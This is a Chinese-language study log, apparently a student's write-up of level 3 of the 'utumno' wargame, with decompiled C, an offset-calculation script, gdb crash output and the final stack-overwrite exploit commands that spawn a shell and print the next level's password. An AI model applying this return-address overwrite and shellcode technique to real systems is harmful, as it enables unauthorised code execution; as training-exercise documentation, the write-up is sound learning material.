1625-5 王子昂 总结《2017年9月11日》 【连续第343天总结】
A. WarGames-utumno
B.
Level 3
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // ebx@2
int v5; // [sp+8h] [bp-3Ch]@2
int v6; // [sp+20h] [bp-24h]@2
int v7; // [sp+38h] [bp-Ch]@1
signed int i; // [sp+3Ch] [bp-8h]@1
v7 = 0;
for ( i = 0; ; ++i )
{
v7 = getchar();
if ( v7 == -1 || i > 23 )//输入长度为24*2=48个字符,可修改24个字节
break;
*((_BYTE *)&v5 + i) = v7;
*((_BYTE *)&v5 + i) ^= 3 * (_BYTE)i; // 奇数指示下标,与3i异或
v3 = *((_BYTE *)&v5 + i);
*((_BYTE *)&v6 + v3) = getchar(); // 偶数为v6+下标所赋的值
}
return 0;
}
由题可见,只需要构造好Shellcode就可以轻松覆盖返回地址了
问题仍然在于堆栈对齐偏移和Payload地址
堆栈结构为:
36(v6)+*(esp对齐)+ 4(ebp)+4(return address)
计算堆栈对齐的偏移
写一个脚本测试一下:
s = ""
basic = 40
for i in range(24):
n = basic + i
n = n ^ (i*3)
s = s + chr(n)
s = s + (chr(0x61))
print("n=%d, chr=%s"%(n^(i*3), chr(0x61+i))),
print(s)
print(len(s))
注意由于在11个字节(k)以后,奇数字节为非可见字符,导致复制粘贴过程中出现偏差;而在gdb中的getchar不接受python调用(调试了许久才想起来),所以只能测试11个字节以内的偏移,在之后用大量其他字符填充结束即可
将产生的字符串复制至gdb提交:
Starting program: /utumno/utumno3
(a*b,c”d e”f<
g:h(i*j,kaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaProgram received signal SIGSEGV, Segmentation fault.
0x68676665 in ?? ()
这样就知道return address在e处开始,即偏移4个字节
安装Payload
export一个环境变量,添加Nop Sled后在gdb中得到地址即可
构造ShellCode
由于地址分别在44-47处,写脚本计算一下就能得到四个加密位置分别为”,.(&”
payload的地址由gdb得到,分为四字节分别写在位置之后即可
要注意的是使用管道时需要用cat阻塞住,否则会自动关闭导致getshell不接受命令
这一点卡了我一个下午研究为什么跳转成功却毫无反应(:з」∠)
多余字符需要接受长达40个(虽然测试时经常仅需要数个就能通过),也可以通过v6+0x1C来修改i值导致其立即结束循环
utumno3@utumno:~
$
(python -c ‘print “,\xf0.\xd8(\xff&\xff\x10\x30”’;cat) | /utumno/utumno3
或
utumno3@utumno:~$
(python -c ‘print “,\xf0.\xd8(\xff&\xff”+”a”*40’;cat) | /utumno/utumno3
whoami
utumno4
cat /etc/utumno_pass/utumno4
oogieleoga
C. 明日计划
wargame